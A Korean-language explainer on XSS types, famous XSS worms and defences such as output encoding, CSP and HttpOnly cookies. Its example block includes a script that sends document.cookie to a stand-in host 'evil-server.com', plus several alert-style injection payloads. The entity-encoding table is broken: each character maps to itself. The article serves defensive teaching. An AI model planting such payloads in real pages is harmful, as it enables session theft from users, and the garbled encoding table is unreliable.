XSS 취약점의 발생 경로와 웹 애플리케이션 방어 체계
XSS의 저장형·반사형·DOM 기반 발생 경로, 공격 영향, 입력 검증·출력 인코딩·CSP 중심의 웹 애플리케이션 방어와 탐지 체계를 정리한다.
2026-08-14 · 최초 발행 2025-06-28
브라우저에서 실행되는 입력이 만드는 위험
XSS(Cross Site Scripting)는 공격자가 웹 페이지에 악성 스크립트를 삽입하고, 이를 사용자의 브라우저에서 실행하게 만드는 공격 기법이다. 웹 애플리케이션에서 흔히 발견되는 취약점이며 OWASP Top 10에서도 지속적으로 상위권에 랭크되는 보안 위협이다.
문제는 사용자 입력을 검증하거나 인코딩하지 않은 채 페이지에 포함할 때 시작된다. 이 경로로 JavaScript, HTML, Flash 등의 클라이언트 측 스크립트가 삽입될 수 있다. 공격 대상은 웹 애플리케이션 사용자이며, 공격자는 세션 탈취, 악성 코드 배포, 피싱, 사이트 변조 등을 노린다. 실행 지점은 서버가 아니라 사용자의 브라우저다.
데이터가 다시 표시될 때 실행되는 저장형 XSS
저장형 XSS(Stored/Persistent XSS)는 악성 스크립트가 웹 서버의 데이터베이스에 영구적으로 남는 유형이다. 게시판, 댓글, 사용자 프로필처럼 입력한 콘텐츠를 저장했다가 다른 사용자에게 다시 보여 주는 기능에서 발생할 수 있다.
데이터베이스에서 해당 콘텐츠를 불러올 때마다 스크립트가 실행되므로 XSS 유형 가운데 영향력이 가장 크다.
요청과 응답 사이에 남는 반사형 XSS
반사형 XSS(Reflected XSS)는 공격 스크립트가 요청 일부로 서버에 전달되고, 즉시 응답에 반사되는 방식이다. URL 파라미터나 폼 제출이 주요 유입 경로가 된다.
저장형과 달리 일회성 공격이며, 피해자가 악성 링크를 클릭해야 한다. 이 때문에 피싱 이메일이나 소셜 엔지니어링과 결합해 사용될 수 있다.
서버 응답은 정상이어도 발생하는 DOM 기반 XSS
DOM 기반 XSS(DOM-based XSS)는 클라이언트 측 JavaScript에서 발생한다. 서버가 돌려주는 HTML 자체는 변하지 않아도, 클라이언트 스크립트가 DOM을 안전하지 않게 조작하면 실행 경로가 생긴다.
document.location, document.URL, document.referrer 같은 브라우저 속성이 주요 입력원이 될 수 있다. 서버 응답만 점검해서는 놓칠 수 있는 유형이다.
전파 사례와 침해 영향
2010년 트위터에서는 마우스 커서를 올리기만 해도 자동 전파되는 XSS 웜이 발생했고, 수백만 명의 사용자에게 영향을 미쳤다. 이 공격은 onMouseOver 이벤트를 이용했다.
MySpace의 Samy 웜은 2005년에 사용자 프로필을 통해 전파됐다. 24시간 만에 100만 명 이상의 사용자를 감염시켰으며, 프로필에 "Samy is my hero" 문구를 자동으로 추가하는 효과가 있었다.
XSS가 성공하면 사용자 세션 탈취와 피싱 공격, 키로깅을 통한 개인정보 탈취가 가능해진다. 브라우저 제어권 획득, 사이트 변조 및 콘텐츠 조작, 악성 코드 배포로 이어질 수 있으며, 웹 애플리케이션 스캐닝과 내부망 공격에도 악용될 수 있다.
입력 지점에서 문제가 드러나는 코드 형태
다음 블록은 XSS 취약점에서 문제가 될 수 있는 입력 형태를 보여 준다.
<script>
alert("XSS 취약점 발견!");
</script>
<script>
fetch("https://evil-server.com/steal?cookie=" + document.cookie);
</script>
<img src="invalid-image" onerror="alert('XSS')" />
<div onmouseover="javascript:alert('XSS')">마우스를 올려보세요</div>
<style>
@import url("javascript:alert('XSS')");
</style>
검증과 인코딩을 분리해 적용하기
입력 값 검증은 서버 측에서 모든 사용자 입력을 대상으로 수행한다. 허용된 문자만 수락하는 화이트리스트 방식을 적용하고, 데이터 타입·길이·형식·범위를 검증한다.
그러나 입력 검증만으로는 충분하지 않다. 출력 위치에 맞춰 인코딩해야 한다. HTML 컨텍스트에서는 HTML 엔티티 인코딩을 적용하고, JavaScript·CSS·URL 컨텍스트에는 각각 JavaScript 이스케이프, CSS 이스케이프, URL 인코딩을 사용한다.
& -> &
< -> <
> -> >
" -> "
' -> '
CSP(Content Security Policy)는 브라우저에 허용된 리소스 출처를 알리는 HTTP 헤더다. 인라인 스크립트 실행을 차단하는 통제로 사용할 수 있다.
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com
HttpOnly 쿠키는 JavaScript를 통한 쿠키 접근을 막아 쿠키 탈취 공격에서 세션을 보호한다.
Set-Cookie: sessionId=abc123; HttpOnly; Secure
X-XSS-Protection 헤더는 브라우저의 XSS 필터를 활성화한다.
X-XSS-Protection: 1; mode=block
React, Angular, Vue 등 현대적 프레임워크는 기본적인 XSS 방어 기능을 제공한다. 템플릿 엔진의 자동 이스케이프 기능을 활용하고, React에서는 dangerouslySetInnerHTML 사용을 지양해야 한다.
발견 경로를 개발 과정에 연결하기
정적 분석(SAST)은 소스 코드 분석으로 취약점을 찾는다. SonarQube, Checkmarx, Fortify 등이 이 범주에 속한다.
동적 분석(DAST)은 실행 중인 애플리케이션을 대상으로 공격을 시뮬레이션한다. OWASP ZAP, Burp Suite, Acunetix 등을 활용할 수 있다.
도구만으로 충분하지 않은 지점은 수동 테스트로 확인한다. 웹 페이지의 모든 입력 지점을 식별하고 페이로드 삽입 테스트와 응답 검증을 수행한다. 정기적인 자동 취약점 스캐닝을 운영하고, CI/CD 파이프라인에 보안 테스트를 통합하는 방식도 필요하다.
보안 아키텍처에 포함해야 할 운영 항목
조직의 보안 아키텍처를 설계하고 관리하는 역할에서는 개발 라이프사이클 전반에 보안을 통합해야 한다. 설계 단계부터 보안 요구사항을 정의하고, 코드 리뷰에 보안 검토를 포함하며, 배포 전 보안 테스트를 필수화한다.
개발자 교육도 통제 수단의 일부다. XSS를 포함한 OWASP Top 10 취약점 교육, 안전한 코딩 가이드라인 제공, 정기적인 보안 인식 제고 훈련을 운영한다.
다층 방어 전략에는 WAF(웹 애플리케이션 방화벽), 침입 탐지/방지 시스템, 실시간 모니터링과 로깅이 포함된다. 정기 스캐닝으로 발견한 취약점은 위험도를 평가하고, 패치 관리와 우선순위 설정으로 이어져야 한다. XSS 공격 발생 시 대응 절차와 피해 최소화·복구 전략을 마련하고, 사후 분석으로 개선 사항을 도출한다.
프레임워크와 클라우드 환경에서 달라지는 고려사항
React, Angular 등 현대적 프레임워크는 템플릿 기반 출력을 통해 기본적인 XSS 방어와 자동 이스케이프를 지원한다. 서버리스 환경에서는 API Gateway, Lambda 등의 XSS 방어 필요성이 커지며, 클라우드 네이티브 애플리케이션의 보안 고려사항도 함께 검토해야 한다.
CSP는 nonce 기반 정책, strict-dynamic 지시문 활용, 보고 기능 강화 방향으로 발전하고 있다. HTML5 API를 이용한 공격, WebSocket을 통한 XSS, 프레임워크 특화 공격 패턴도 새로운 형태로 다뤄진다.
XSS는 오랜 기간 웹 애플리케이션의 주요 보안 위협으로 남아 있으며, 기술 변화에 맞춰 공격 방식도 계속 진화한다. 입력 검증, 출력 인코딩, CSP 같은 기술 통제에 개발자 교육, 보안 테스트 자동화, 인시던트 대응 계획을 결합해야 한다. DevSecOps 접근 방식으로 보안을 개발 라이프사이클 전체에 통합하는 것이 선제적인 XSS 대응의 기반이 된다.